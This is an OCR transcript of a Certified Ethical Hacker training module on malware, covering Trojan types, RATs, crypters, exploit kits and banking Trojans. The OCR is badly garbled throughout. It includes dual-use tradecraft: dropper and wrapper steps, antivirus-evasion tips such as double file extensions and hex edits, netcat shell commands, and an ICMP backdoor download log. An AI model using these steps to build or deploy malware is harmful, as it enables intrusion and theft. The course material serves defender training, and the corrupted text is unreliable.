Malware Threats

Module 06

Unmask the Invisible Hacker.




Module Objectives

Introduction to Malware and Understanding the Malware
Malware Propagation Techniques Analysis Process

Overview of Trojans, Their Types,

Understanding Different Techniques
and How to Infect Systems

to Detect Malware

Overview of Viruses, Their Types,

and How They Infect Files Malware Countermeasures

Overview of Malware Penetration

Introduction to Computer :
Testing

Worm
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Malware Counter- Anti-Malware Penetration
Detection measures Software Testing
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Introduction to Vialware | C|EH
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Malware is a malicious software that damages or disables computer
systems and gives limited or full control of the systems to the
malware creator for the purpose of theft or fraud

Examples of Malware

Trojan Horse Virus

Backdoor

RootKit

Ransomware

Adware

oduiction is Strictly Prohibited.




Different Ways a Malware can
Get into a System

Instant Messenger applications

IRC (Internet Relay Chat)

Removable devices

Attachments

Legitimate "shrink-wrapped" software
packaged by a disgruntled employee

Browser and email software bugs

NetBIOS (FileSharing)

Fake programs
R —
Untrusted sites and freeware

software

T

Downloading files, games, and
screensavers from Internet sites
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Common Techniques Attackers Use
to Distribute Malware on the Web

Blackhat Search Engine
Optimization (SEO)

Ranking malware pages highly in search
results

Malvertising

Embedding malware in ad-networks that
display across hundreds of legitimate, high-
traffic sites

Compromised
Legitimate Websites

Hosting embedded malware that spreads
to unsuspecting visitors

Social Engineered
Click-jacking

Tricking users into clicking on innocent-
looking webpages

Mimicking legitimate institutions in an
attempt to steal login credentials

Drive-by Downloads

Exploiting flaws in browser software to
install malware just by visiting a web page

Spearphishing Sites I

Source: Security Threat Repart [httpwww. sophos.com)
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Financial Loss Due to Trojans

According to the Symantec Survey 2014 report, nearly every flavor of financial
institution is targeted, from commercial banks to credit unions

Canada
142K

USA
970K

Gerhany
278K

Australia w
114K

hitp//www._symantec. com
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How Hackers Use Trojans

te or replace operating Disable firev
system’s critical files and antivirus

Generate fake traffic . Create backdoors
to create DOS attacks to gain remote access

Record screenshots, Infect victim's PC as
audio, and video of a proxy server for
victim’s PC relaying attacks

Use victim’s PC for spamming Use victim’s PCas a
and blasting email botnet to perform
messages DDoS attacks

d spyware, Steal information such as passw
adware, and security codes, credit ca
nalicious files information using keylogger:
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Common Ports used by Trojans

Trojan Trojan

o

Shivka-Burka

Death

R serva sov

Blade Runner, Doly Trojan, Fore,
Invisible FTP, WebEx, WinCrash

IREZR shaft
3 Tiny Telnet Server
Antigen, Email Password Sender,
Terminator, WinPC, WinSpy,
Hackers Paradise
Executor

SpySender

Shockrave
BackDoor 1.00-1.03

Trojan Cow

Ripper

Iiiw:lnn Mailer, Nirvana
Ini-Killer, Phase Zero, Stealth Spy m Masters Paradise

m Satanz Backdoor m The Invasor
S|Ienl:er WebEx m WinCrash
EI::-h_.r Trojan File Nail 1

Iﬂ!ﬁ-ﬂl RAT ICOTrojan

m Psyber Stream Server, Voice

U!tnrs Trojan
SubSeuen 10—-18

m VooDoo Doll

TCP Wrappers Trojan

Hackers Paradise

S Bubbel

PETTERN sockets de Troie

Firehotcker

L i1 Blade Runner

wE FrEE t0 FIY

Robo-Hack

DeepThroat

GateCrasher, Priority

Remote Grab

ST NetMonitor

Sy O [CKiller

- BackOfrice 2000
| Portal of Doom

Coma1.09
Senna spy

BTN rrogenic o

12213 Hack 99 Keylogger
m GabanBus, NetBus

Whack-a-mole

priciy
m Millennium

NetBus 2.0, Beta-
i MNetBus 2.01

HaCkRhInO-TeaM

CEH

Cortified B Ethical Hschar

Trojan
GirlFriend 1.0, Beta-1.35

Prosiak
Evil FTP, Ugly FTP

Delta

M'EZ NetSphere 1.27a
3133?—33 Back Orifice, DeepBO

NetSpy DK
BOWhack

Prosiak

AL

BigGluck, TH

=
]
Ln
=]
=

LN TSI BTN Masters Paradise
B et
m Sockets de Troie

Remote Windows
m Shutdown
BEIEEE schoolBus .69-1.11
Telecommando

Copyright © by EG-Eamneil. All Rights Reserved. Reproduction is Strictly Prohibited.

HaCkRhIn0-TeaM /dé kript/ by HaCkRhInO-TeaM HaCkRhIn0O-TeaM




How to Infect Systems Using a
Trojan

01 Create a new Trojan packet using a Trojan Horse Construction Kit

02 Create a dropper, which is a part in a trojanized packet that installs the malicious
code on the target system

"\\]
( Example of a Dropper

Installation path: c\windows\system32\svchosts.exe
Autostart: HEIM\ Software\Mic_.. . \run\Iexplorer.exe

Malicious code

Client address: client.attacker.com
Dropzone: dropzone.attacker.com

Attacker Malicious Code A genuine application Wrapper

File name: chess.exe
Wrapper data: Executable file
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How to Infect Systems Using a
Trojan (Contq)

03 Create a wrapper using wrapper tools to install Trojan on the victim's computer
04 Propagate the Trojan
05  Execute the dropper

06 Execute the damage routine

Dropper

-E_-Drupper
: drops the
g Trojan
v I

Attacker : " ' : Trojan code execution

Victim's System
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Wrappers

W inds o . 1 the user runs the

‘wrapped EXE, it first é h
miﬂﬂelecutﬂble | installs the Trojan in

the background and .+ Chess.exe Trojan.exe
e : y \"/File size: 90K X File size: 20K
then runs the wrapping .

application in the : .
foreground :

The two programs are
wrapped together into
a single file

Chess.exe
File size: 110K
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Dark Horse Trojan Virus Maker

(=DarkHorse Trojan Virus Maker 1.2)

Client Name |

Trojan Virus Maker

B VWebcam Streaming B Eroken Mouse B Hot Computer

B ~udio Streaming B Hide Desktop icons [l Overloaded Files
B Crazy Mouse B ++CCVirus B Hot Machine

B Lock Window Live B #C Virus B Remove Documents
B slock All Websites B Flocd Large Files B Gemove Videos

B Dizable Desktop Icans B Flood Control Error [ Remove Music

Virus Warnings

Slow Down Computer Speed
Disable 5tart Button

Disable Task Manager
Disable CMD

Disable Morton Antivirus

B Remove Desktop Background [l Memory User B EBeeping Noise Disable Avg Internet Security

B Disable Administration B Disable Process B Broken Keyboard Stare Virus

Trojan Force
B shutDown Computer {1 Minute)

Show Code Text

[l Restart Computer (1 Minute) Name: | |

B LogOff Computer (1 Minute) Create As Text File
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Crypters: AIO FUD Crypter, Hidden ClEN
Sight Crypter, and Galaxy Crypter il e

Crypter is a software which is used by hackers to hide viruses, keyloggers or tools
in any kind of file so that they do not easily get detected by antiviruses

AlIO FUD l Hidden Sight Galaxy

Crypter Crypter

,'Llcl
Crypter
Binder
E-"ften:‘.iﬂn Sﬂ':“:lfer
ﬂhﬁ-’l;':-!ltcr : . :
H LELLEN BIET  PITIAS
L

Downl tad er

Icon Changer

Bitcoin Miner
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Crypters: Criogenic Crypter,
Heaven Crypter, and SwayzCryptor

Criogenic 4
Crypter

Criogenic Crypter 0.3 el gl I 28|

| Select Fic ;_ |

Features:  Obfuscation v Real AFPI's

|
Encrypt

I

| Coded By LethalHackz Coded In-  VBNET
GFX By LethalHackz GFX: PSCS55
Visit by Youiube

B== _———— _— =

5
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How Attackers Deploy a Trojan

Major Trojan Attack Paths:

SEE R A Sagw LppStee Srler #EI-IITRET | Limiage B o i

m (R T Deidaini = ﬂ

| b Eppe Sitew Uernisy, March T3 I8 (530 A0 |
| Fye—

I e ekt ks 2 User opens malicious email attachments

Apple Store
llIIll.'ll.I ca|l1w“r_ﬁPFLE I [ ERS R TR R RN RN TR R RN RN RN R AR
The Trojan connects to

Dear Customer Link to Trojan Server : the attack server

T vidrer this M-St up-1o-date S1A0S and mele Chaage i otr
pehe Onling Sioré rdes, vislt ankng y

(o oo o contact Apple Stere Castomer Service o 1-800-676-2775 or vand calme foe
mege sfommaton

& User clicks on the malicious link

Attacker sends an email
to victim containing link
to Trojan server

Victim clicks the link and
immediately connects to
Trojan server in Russia

Victim
Internet

samssnssansf

. Trojan Server
- - | (Russia)

Attacker installs I
the Trojan infecting 2
his machine =

(R PR R R R R R R R RN A R R R P T e TR A R R R R R R R R R R

Trojan is sent to the victim
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An exploit kit or crimeware toolkit is a platform to deliver exploits and payloads such as Trojans,
spywares, backdoors, bots, buffer overflow scripts, etc. on the target system

Legitimate
Visits website hosted on
. } o Iegltlmate 'l.'.l'EhS]tE compromised web server

Legitimate e o Compromised
Website N Web Server

Exploit kit gathers
Victim 2 . information on the victim
and delivers the exploit

Victim lands at a exploit
kit server hosting the

> > exploit pack landing Exploit Kit  Exploit Pack
: ; page Server Landing Page
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Exploit Kit: Infinity

pa ceppepe: N  ~ocarr S Ganac 0 Braxiy |

faTd MO0 NIESETCH, E
ENECHIR CEOCTRE Wi AREAyNT Hyner 1afinoampanan

MononHeHwe GanaHca

Haz cepaepe I Aoz [ Gancac 05
towence R

Nouuesanme:  Bor sendce (ceder S
Cyuua [ |5

W A nogreeqmgans, 410 CoBEpmIE [AkNLH NEEEE0.

MomonsmAn Ganatc

Npobae

taiine [
MoTokM

onnata el
LLEGUT covaen onas ruse |

Afdpeca
agpeca anweo it TR - - I

comrastapaer (N ——
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Exploit Kits: Phoenix Exploit Kit
and Blackhole Exploit Kit

Phoenix Exploit Kit Blackhole Exploit Kit

F "? Phoem.x Ex:p loit's Kit

3.1 full
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Explmt K‘.I.tS' Bleedmgllfe and
Cnmepack

BLEEDINGLIFE 2. 2

SECURITY SETTINGS EXPLOIT SETTINGS

Admin Usarnems:

Crimepack

SRVE SETTINGS

SCANLYDU ACCOUNT
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Break the Trojan file into multiple pieces and zip them as
single file

ALWAYS write your own Trojan, and embed it into an application

Change Trojan’s syntax:

2 Convert an EXE to VB script
& Change .EXE extension to .DOC.EXE, .PPT.EXE or .PDFE.EXE (Windows hide
“known extensions”, by default, so it shows up only .DOC, .PPT and .PDF)

Change the content of the Trojan using hex editor and also change
the checksum and encrypt the file

Never use Trojans downloaded from the web (antivirus can detect
these easily)

HaCkRhInO-TeaM

CEH

.- fmlrh.l Eshical Macker
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Types of Trojans CIEH
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AEEEw Ry RNy MLLT
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e

"Data Hiding™ + Destructive
Trojan

Trojan

wnEEy
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*
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ICMP

Trojan Trojan Trojan

‘i.l- L
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paE
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Command Shell Trojans | C[EH
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J Command shell Trojan gives remote control
. > ; = C:yvnc . exe —h
of a command shell on a victim’s machine [v1.10 NT]

nc [-options] bostoemes port[s] [ports] ...
ne -1 -p port [options] [hostoeme] [port]

, o ol
- Trojan server is installed on the victim's R B et

machine, which opens a port for attackerto | | e il

connect. The client is installed on the e AR

delay interval for lines sent, ports scanmed

attacker's machine, which is used to launch listen mode, for inbound comnects

listen harder, re-listen on socket close

a command shell on the victim’s machine _ mmeric-only IP addresses, no DNS
bhex domp of toaffic

.
-
-

C:> nc <ip> <port>

-p <pprt>
exe
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. Defacement Trojans

Original calc.exe

Resource editors allow to view, edit, extract, and replace View Edit  Help
strings, bitmaps, logos and icons from any Window program

It allows you to view and edit almost any aspect of a
compiled Windows program, from the menus to the dialog
boxes to the icons and beyond

They apply User-styled Custom Applications (UCA) to
deface Windows application

Example of calc.exe Defaced is shown here

Defaced calc.exe
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Defacement Trojans: Restorator C|EH
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File Resources Viewer Edit Tools Help

>>‘ 'm@% %E}‘fgﬁm@ Flazhfne-wa:i@_“ @ll i‘ ‘i "%‘.’" 3""‘” ﬂ

Resource Ties Fesouce Viewe: | Fla Browser

("] Unlitled0.res 1
a '-_l-j Urititled.rc
=y Bitma | | =
2l - = 1 L "EM“; ) Showe Tookips [defaul]
nd A o Allow multiple Festorstion mstances

E’ﬁhﬂ:“ 8 Fomes -_r‘:‘-hcw sphash soreen on stat

Shell Int g. || Keep Restorabor Window abvays on top

e (V] Ak for Folder, when assigning/estiacting ol [defaull]
Teut Edior Numbes of tecently used files in fle mer

Fie Browser 10

FC Files
Audvanced Murnbes of recentl found fles m file memu

20 S

Bitmap\A\English (United States) Empty Resource 2 open files
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Botnet Trojans CIEH
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. Botnet Trojans infect a large number of computers across a large
geographical area to create a network of bots that is controlled through a
’ Command and Control (C&C) center

J Botnet is used to launch various attacks on a victim including denial-of-
service attacks, spamming, click fraud, and the theft of financial information

.

4

Company
Website

Botnet C&C
Server
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Tor-based Botnet Trojans:
ChewBacca

ChewBacca Trojan has stolen data
on 49,000 payment cards from

45 retailers in 11 countries over
a two month span
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Botnet Trojans: Skyvnet and
’ . CIEH

CyberGate i s e

-OUD COI

\-.__:_-_‘-_—_.,-s' g
A =

CyberGate Dashboard

M Csshbcard O Paris €9 o
Lo wpddlad o | | ey, T o Bpdil AT o SR

B Recent work submissions B Recent failed work submissions

sicsr | Popd 1im=

@ Worker status

Wobed | Lo weowk rugoss
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Proxy Server Trojans

/ Trojan Proxy is usually a standalone application that
Y allows remote attackers to use the victim’s computer
“ as a proxy to connect to the Internet

Proxy server Trojan, when infected, starts a hidden
proxy server on the victim’s computer

Thousands of machines on the Internet are infected
_ with proxy servers using this technique

Attacker Victim {Proxied) Internet

Copyright © by EG-Eamneil. All Rights Reserved. Reproduction is Strictly Prohibited.
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Proxy Server Trojan: W3bPrOxy
Tr0j4nCr34t0r (Funny Name)

W3bPrOxy TrOj4n is a proxy server Trojan which support multi §

connection from many clients and report IP and ports to mail W
: |
- -

of the Trojan owner
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Send me FTP Server

c:\crediteard. txt file Volume in drive C has ne label.
- - =l S Voluss Sarisl Hmbar ia DASE-SFEE Dirsctary of (=4

RS S e (FTP Server PR M Il
installed in the 09/06/2014 0 sbo.txt
. e~ 08/24,/2014 <DIR> AdventHat
: background) /9014 0 ADTOEXEC. BAT
Here is the requested file 05/21/2014 0 CONFIO.EYS
06/04/2014 <DIR> Dats
08/11/2014 <DIR> Docomants and

Mo

FTP Trojan: TinyFTPD

Command Prompt

FTP Trojans install an FTP server :
on '_H'l._E'--_ I:s mad'lim, ‘lﬂhiﬂh C: '\D:Tﬂ- and S=ttings'\Adwin\Desktoph\TinyFTPD 21 55555 test best o:) F
m FI'P pum Tiopy FTFD V1.4 By WinBguilrop

PFTPF Server Is Started

Control Fort: 21

BindPort: 55555

UserBHome - test

Password : te=t

HomeDir: o \windE

Allowd IP: all

Local Address: 192 .168.168.16

BendRrress: Yex

An atta'c.ker can t‘h!n m."nect to Writefccess: Yes

r LIstArcesx: Yex
AT : :
the victim's machine using FTP CreateAccess:  Yes
o . Deletefccess - Yex
port to download any files that P
T 5 I, . TInlockfccess - Ho
exist on the victim's computer AR
Check Time Dot Thread Created Soccessfally
AXXEXXXXAFEEEEY Waiting For Hew Connection *ddtdsrtsdisss
0 Coomection Is In Ose
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VNC Trojans ClEH
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VNC Trojan starts a VNC Server daemon
in the infected system (victim)

Attacker connects to the victim using any
VNC viewer

Since VNC program is considered a utility, this
Trojan will be difficult to detect using anti-viruses

Command and
control instruction

WNC Traffic

VML Server
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VNC Trojan: Hesperbot

. Hesperbot is a banking Trojan which features common functionalities, such as
keystroke logging, creation of screenshots and video capture, and setting up a
remote proxy

o It creates a hidden VNC server to which the attacker can remotely connect

J As VNC does not log the user off like RDP, the attacker can connect to the
unsuspecting victim’s computer while they are working

Ty

j«" :-,,_'__‘
- ICore|
--J

I'—‘I

Scam Email { Count of sections 4 | machi Tt
- Explorer.exe symbol table 00000000[00000000] Thu Aug OB 11:07:54 2013
- Size of opticnal header Magic
. : Linker version 9. 05 version .

Image version y Subsystem version
Entry paint Sizae of coda

Size of init data Size of wninit data
Size of Tmage Size of header

Base of code Base of data

image base Subsystem

Section alignment 0001 File alignment
Stack OOL00000,/ 00000 | Hea

Checksum 00000000 | Number of dirs

Zasilka.pdf.exe Dropper
(packed binary)

=ErrTng
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HTTP/HTTPS Trojans CEH

Bypass
Firewall

Spawn a
Child Program

Access the
Internet

Coriifbed B Ethical Hachar

HTTP Trojans can bypass any firewall and work in the
reverse way of a straight HTTP tunnel

They are executed on the internal host and spawn a
child at a predetermined time

The child program appears to be a user to the firewall
so it is allowed to access the Internet

Copyright © by EG-Eamneil. All Rights Reserved. Reproduction is Strictly Prohibited.
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. HTTP Trojan: HTTP RAT C/EH

®| HTTP RAT 031 | x|

Infect the victim's computer with
s=rver axe and plant HTTP Trojan

----------------------.-----..--.....-“....................}

T I

The Trojan sends an email

latest i e 'II:-Iu::}.-'rrsenel a-i-J':vf:-rboel ; ;
s = with the location of an IP address

rellings e E R e R R R e S e 1=
¥ pand notficstion wilh ip sddess ta mal .

SMTP sorver £ serding mad -
u can speciy severs servers delimiled with . ' i
[t sl i g cene ol s seree | . ad L AR RN ETE N NS RN |-}

. = : - Connect to the IP address
sl con using a browser to port 80

yoir el sckbeds

¥ cloge Fusw sk ] :.ml:i."l:Ii

Creain : Fut |

A
Generates : e — Displays ads, records personal

Servear . exXs E o= 2 N 10,0,0, 10 datﬂka?StrﬂkES
using HTTP RAT : . . .
- Downloads unsolicited files, disables
programs/system
Floods Internet connection, and
distributes threats

Tracks browsing activities and hijacks
Internet browser

Makes fraudulent claims about spyware
detection and removal

Attacker

Copyright © by EG-Eamneil. All Rights Reserved. Reproduction is Strictly Prohibited.




Shttpd Trojan - HTTPS (55L) m

SHTTPD is a small HTTP Server that can be embedded inside any program

It can be wrapped with a genuine program (game chess . exe), when
executed it will turn a computer into an invisible web server

Normally Firewall allows
Attacker you through port 443
IP: 10.0.0.5:443 IP: 10.0.0.8:443

Encrypted Traffic Vietim

Connect to the victim using Web Browser Infect the victim’s computer with chess . exe
http://10.0.0.5:443 Shttpd should be running in the background
listening on port 443 (SSL)
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ICMP Tunneling

Covert channels are methods in which an attacker can hide the data in
a protocol that is undetectable

They rely on techniqgues called tunneling, which allow one protocol to
be carried over another protocol

ICMP tunneling uses ICMP echo-request and reply to carry a payload
and stealthily access or control the victim’s machine

= —rErr
L =

% (Command: lcmpsend (Command:
icmpsend <victim IP>) icmpsrv —install)

Command Prompt > 88 Command Prompt

C:\Voermnents and SettiogsiAdming stostor \WINDORS, Desktop’,
IMP Backdoor Wind2»iemp=end 127.0.0.1

I:.' “] ICMP Client ICMP Trujan: E3 ICMP Server

C:\lormments and Settdngs' Aded nd stretor, WTHDINES \ Desktop?,

ICHP Backdoor Win3Zsirmpsre —install
=——Nelcome to wew. hackerwfiles net——— Commands =—Neloome to www_hackerxfiles pet——
——[ IHMP-Cmd wl.0 beta,

L Eamiis e T are sent using -—I ICMECmd v1.0 beta, by geisone  1-—

—I 2003/8/15 ICMP protocol =1 E-mnil- geizonefhotwnil. com b=

1—- —I 200378515

Usage: icepsemnd BemotelP 1—

Cixl+C oxr Ofg to Quite H/h for help Usage: icmpsrey —install] <to install]l services
ICHE-CHDc-H Iompsrv —remove <to ISmove SeIvices
[http: /7127 0.0 1/ back ewe —mdwin . exe] “Downlond Files._ Tran=mitting File .. Soccoess !

Parth is \\system 3=

[pslist] “hist the Process>

BEssE s E .

Creating Service . Success !

Startimg Serviee _ Pemndimg . Socress !

C:\Docoments amd

Settings \Adwi ni stratoryFIHDOWSY, Desktop\ ICHE Backdoor
Wind2
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Remote Access Trojans

Attacker gains 100% {complete)
access to the system

Jason Attacker Rebecca Victim
Sitting in Russia Infected with RAT Trojan

Infect (Rebecca’s) computer with server.exe
J This Trojan works like a and plant Reverse Connecting Trojan

remote desktop access The Trojan connects to Port 80 to the

J Hacker gains complete attacker in Russia establishing a reverse

connection
GUI access to the remote

system . Jason, the attacker, has complete control
over Rebecca’s machine

T
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Remote Access Trojans:
Optix Pro and MoSucker

Ciptix Pro vi1.32 Client

~ Furn Studf
| Flash Keyboard Lignts | [ Show Clock |

1 Maragers

[ Communications
= Spy Tools —

| L Gomputer Inf | Close CD i || Maonitor On

(-Gt Password | Show Start Button | | Monitor © MoSucker 3.0 =

- (Qo=_)0

Upen .o Hide ook

Server Options l\l

MoSucker

- Key Logger . i —e——
1 Client Settings | Hide Stan Button [ Initiate Screen

=SereeniMouse
r Keyboard
FCam Caplure L o o — E]
| I; 'EE'—;; KE;: T r'r? Disable Mouse & Keyboard Enable Mouse & | Cypher Key:  VTXFY29632FYGHHB 16109 =
Jumor/Fun Stu .
Originals [ SetlE Startup Page: | f_ | Motification 1 Wictinr's Name:  [victim |
| T R kernel32, mecinfig winexec32,nat -
| Serxd to- URL: ] _ fig,winexec32,natconfig

. E Extension(s): exe,pif bat,dii, jpe.com bpg,xtr, be,

= — R e | wents

Language Changed! (_Drdries ) | Somectionaut 4208

m [+ Prevent same server multi-infections (recommended)
Optix Pro (Bgeya )

| Swap Mouse Buttons | [ Deadlivate Scrae

You may salect a windows icon to assodate
with your customn file extanson fo.
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Re;ﬁbtg""ﬂgges_§33§Troj ans:
BlackHole RAT and SSH - R.A.T":. |

The Client System... Be warned cause that what you do is illegal...

L Send Message ;

Make display dark

wrrsall fles

medisem fles

- | i
-

BlackHole RAT
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Remote Access Trojans: njRAT
and Xtreme RAT

Xtreme RAT

:
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Remote Access Trojans: DarkComet
RAT, Pandora RAT, and HellSpy RAT

DarkComet RAT

T il |
& jjenrs i OnCannect | ] Usaeslogs | —° Sochst | Nt e s WJ

LA
Lisken b rev part (Hiisten) P |05 50 o | % FaAMUsed | LanguageiCountry | A C.lpng | 1d

fle

Pandora RAT

| Embedded FTP Ciert | g [ X [ “ mmez:{m];mm:t

& Sarver moduls (657,50 KB) L ﬂ urimalek (Quick)
*  Edi server dewnloader (2¥G0} ﬂ Full sdibar (Expart)
About DarkComet-RAT V5.3
A problem ¥ Show belp
Bury YIP Account (onby 208)
Exk the software

Bk e pansdier
172 185.05.05 bl X4
A7 1500 0% b3S

o Sacket [ Het

Puarid de Tramsforpraces

ey BLAT
e 2.5 RETA]
it
[-] tritpcfrabcam caglurs, sarnza ol
<] bt fewwems s o
Conlachn:
[ Bk seaekond 50 L Breteal s

I et o B N]

FaroMabasrs © JOLD || Toded ke dartdbu fatnradoe

HellSpy RAT
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Remote Access Trojans: ProRat
and Theef

Meszage ‘windowes . I ’
o | Aarorie | |\ A Theef
Funny Stuff | File Manager : ' q ' '

|Expiloter Search Files - \ 3
Cortral Panel | Regishy : i - =L Connect
Shut Down PC| Scieen Shot ( A

Cipboard | KeyLogger v INU /& locahe - Port 6703 | FTP 2068
Give Damage | Passwoids B e .
R, Downloder |  Run £ \ AN : S

Printes Services
Oriires Editar IFruEwmt:l.'n't
Cisale |

ProRat
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Remote Access Trojan:
Hell Raiser

Hell Raiser allows an attacker to gain access to the victim system and send pictures, pop up chat
messages, transfer files to and from the victims system, completely monitor the victims operations, etc.

L
e T PRl e il o pmoilig bl ——adusnzad N ] s b aman arh LEdE dns o ouaEm o o apmighn o adissdsd

a7 i Chal merface
& WACTYRE FACCREARDE | LERGTH kIR v HEER Ail gat e
vl MaCE 1 = tyleri??

MACE
MACS
MATS
MACE
MACE

MALS

A i
HES e SET VICTIRAK'S W DOV LALIMCH

ihmle
Vichm's parameaters

DISCOMNNECT bp addeegs: o€ athast DISCONNECT

£
Connauisd

t eomsrel aersds | MIC8 tresafer |

ihex Ebsman MiEsh Aiwt (]
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Remote Access Tool: Ateliex Web
Remote Commander

(-'
/@ Atelier Web Remote Commander (AWRC) allows you to establish a

4 remote connection to the remote machine without installing any
/A/ supporting software on the machine

- T0.000.17 : Atelier Web Remote Commander 10 (CLASSIC)
Fite. Tools Help

| Desitop Sysinfo i b Fie System

oF Pastest v |4 110% » B2 Mondors - :':E_ . IE:: B i_' [ = | ,I‘E :I_-.:aq*!'L

Remate Hast Usar Name Progress Repart
1.0,11 Adrimsiradon 11 1119 Linak

: Passward
%, Connect A Disconnect

Cormection Durabon: & Moutes, 449 Sscon

ﬁ!‘tﬁ;ﬂ’}w.aﬁﬂemb.mm
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Covert Channel Trojan: CCTT | C|EH

Loriifbed § Ethical

ol | | Cﬂ’} Trojan presents various exploitation techniques, creating
~ in the data streams authorized by a network access control system

o A —et

It enables attackers to get an external server shell from within the internal network and
vice-versa

— - S N S——— nr

lts“'eh a / ] - allowing TCP data streams (SSH, SMTP, POP, |
m.*.] betwenan e::temnl server and a box from within the internal network ]

el Y e —r =

1 through HTTP
proxy chain

Firewall
Proxy Chain

Copyright © by EG-Eamneil. All Rights Reserved. Reproduction is Strictly Prohibited.




E-banking Trojans

- e-banking Trojans intercept a victim's account information before it is encrypted and sends it to
the attacker's Trojan command and control center

%‘ J E_JML - It steals victim's data such as credit card related card no., CVV2, billing details, etc. and transmits
; : it to remote hackers using email, FTP, IRC, or other methods
— .

| oo

LR

Uploads malicious (E—— Publishes malicious
advertisements E advertisements on a legitimate websites
= 0 .

...................}'-. :

Mahﬂ,;are Server Legitimate Websites
Attacker . * Victim is

6 Trojan gets downloaded and : directed to
installed in to the victim's system malware server

EEEEmE R RSN AN EEE R EesEsEEERREEY
w
.
w
-

Trojan reports as a new bot b4

B NN NN AR EAREENEEENSEEI R AR R ? aman . =

User access to a
legitimate website
and clicks on a
malicious Ad

—__ Instructs Trojan to track victim's access to bank account b= L i 0

s ,._1”_,_. ]
Trojan reports victim's activities Llser ' $
IIIIIII.III.IIIII'JIIIIIIIIII.IIIIIIJIIllll'llllllll']ll.lll'l 9 l-lll‘ A

: User: Transfer $100 \ A |
Manipulated value ; - : s e
s Financial Institution

-muv‘----vy'-yuru-»uv-----vyc-----vu1:»1---:;;-----:1uv»qv--qurﬂ

[mnmand and Instructs Trojan to manipulate victim’s bank transaction

Transfer 51,000
Control Server

= .Illli 11 ﬂIIIIIII:
Reports about successful ffailed transaction ‘
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Working of E-banking Trojans

TAN 8 Trojan intercepts valid Transaction Authentication Number (TAN)
Grabber entered by a user

It replaces the TAN with a random number that will be rejected by the
bank

Attacker can misuse the intercepted TAN with the user’s login details

HTML Trojan creates fake form fields on e-banking pages
Injection " _
Additional fields elicit extra information such as card number and date

& of birth

>

| @

Attacker can use this information to impersonate and compromise
victim's account

Form
Grabber

Trojan analyses POST requests and responses to victim's browser i f/r

It compromises the scramble pad authentication

Trojan intercepts scramble pad input as user enters Customer Number
and Personal Access Code
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E-banking Trojan: ZeuS and SpyEye

J The main objective of ZeuS and SpyEye Trojans is to steal bank and credit card
account information, ftp data, and other sensitive information from infected
computers via web browsers and protected storage

d  SpyEye can automatically and quickly initiate an online transaction

B+ Zous Control Panel

B
Config and losder buiding
Souroe config fie:

Cr\Doouments and SettngeikohayashiiDeskoopiTrovano_Zeust | Srowss... |

[ Edeonty | [ midconig | [ Euldloader

Okt

memmln RS A :
Settings\kobaysshiiDeskiop| Troyeno_Zeus| ReuSiocdiconfig. tat'. .
w1 Find INFO il Statistic locamu - Settings i i . L

= BOA . Cortifical e Creating loader fle 'C:\Documents and
S R PR {E Geibber| TR | SettngsifobayashiDesktop| Troyana_Teusier exe, ..

botnet=[MaIN]
} ﬁ}:uﬁer 4 Gr';]b-ﬁer timeer_config=3500000, SO000
timer_logs=50000, S0000

e ks ] 200000, S0000

ol _cordigehitp: 205, 142, 10, 2frqurtrayfveebyicfg, bin
Gl bosts wrl_compip=httpiffwhatisemdp, comf

Build succeaded!

Gast Stalisti
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E-banking Trojan: Citadel Builder
and Ice IX

=R Citade| Builder

Qurrent verson
Vergon: 1.3.5.1
Buskd Bene: 1901414908, 112002 GMT

Sipnanre; BaNNED
Liogen key: C IF200234085 190554, 7Da5%8 7T0F BOFFF

Configuration
Source configuarton file:
C:\UsersDohn Downloads \Citadel. 1.3.5. 1-8ahNEDYitadsd, 1
Browse. .. Edit..

Busid the bat configuration Busid the bot fes -proacy

keylogoer. processes shank. exe; jJava, exe
keylogoer. me =3

wideo. quality=1

wideo. length =600

fie_vweherpects sinjects. ot

Busiding the HTTP njects....

O mhittps: e, welsfange. com

BUILD SUCCEEDED!

7o & Citadelir 41

Infermation about actve bot
Encrypion key:

B Ice IX

[ce IX ver. 1.2.6

al

Bot's satings
Setiing's path: hitip:/frourdomain. com,foonfig frdes. ohp

Botnel's name: L=

L.J.._LE_.IE.L.E..._..

Cetting's retrieve tmeout: | &0
Statsbcs retrieve omeout: 10
RC4 encryplion key: fay
Remowe certificates | Disable TCP Server

Busld bot

Setting’s file: | C:\UsersUobn \Downloads [CET Choose setting's file

Citadel Builder

Buid bol's settings

Chedk if your PC s infected entering R.C4 encrypbion key
RC4 encrypbion key:
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Destructive Trojans: M4sT3r
Trojan

M4sT3r is a dangerous and destructive
type of Trojan

" When executed, this Trojan destroys
the

The user will not be ableto
the Operating Syster

M4sT3r Trojan
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. N,Qiifiéﬁtio# Ty Ojan-g""'

® Notification Trojan sends the location of the victim’s IP address to the attacker

® Whenever the victim’s computer connects to the Internet, the attacker receives
the notification

SIN MNotification Directly notifies the attacker's server

ICO Notification MNotifies the attacker using ICCQ. channels

Sends the data by connecting to PHP server on

PHP Notification
the attacker's server

E-Mail Notification  Sends the notification through email

Victim L Net Send MNotification is sent through net send command
Infected with

i : ! : Sends the data by connecting to PHP server on
Trojan ; CGl Notification v g

the attacker's server

IRC notification Motifies the attacker using IRC channels
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Data H1d1ng Trolans (Encrypte

Trt)] ans)

Encryption Trojan encrypts
data files in victim's system
and renders information
unusable

“Your computer caught our
software while browsing
illegal porn pages, all your
documents, text files,
databases in the

folder

My Documents

was encrypted with
complex password.”

HaCkRhInO-TeaM

YOuR SeCuiTy iS NOt EnOUgh
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CEH

fmlrl-l Eshical Macker

Attackers demand a ransom
or force victims to make
purchases from their

online drug stores in return
for the password to unlock
files

“Do not try to search
for a program that
encrypted your
. information — it
| simply does not
exists in your
hard disk anymore,”
pay us the money to

unlock the password

=a
==l
Personal
Information

C++ source code

e

ormation

Important
Files & Folders

rnm.rr ght @ by EG-Comncll. All Rights. Hl.sen.rm{ REpru yduction Is Strictly Pr::hnh ted
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IModule Flow

Introduction
to Malware

Malware
Detection

Trojan Virus and Worm Malware Reverse
Concepts Concepts Engineering

— . — - e ik -

B

Bt

Counter- Anti-Malware Penetration
measures Software Testing
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Introduction to Viruses

4 Avirus is a self-replicating program that produces its own copy by attaching
itself to another program, computer boot sector or document

d Viruses are generally transmitted through file downloads, infected disk/flash
drives and as email attachments

Virus Characteristics

Infects other program Alters data

Transforms itself Corrupts files and programs

Encrypts itself Self-replication
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Stages of Virus Life CEH

Elimination

Users install

antivirus updates

HaCkRhInO-TeaM

Coriifbed B Ethical Hachar

2 3

Replication Launch

Virus replicates for
a period of time
within the target

5

Incorporation Detection

ftware A virus is identified
-as threat infecting

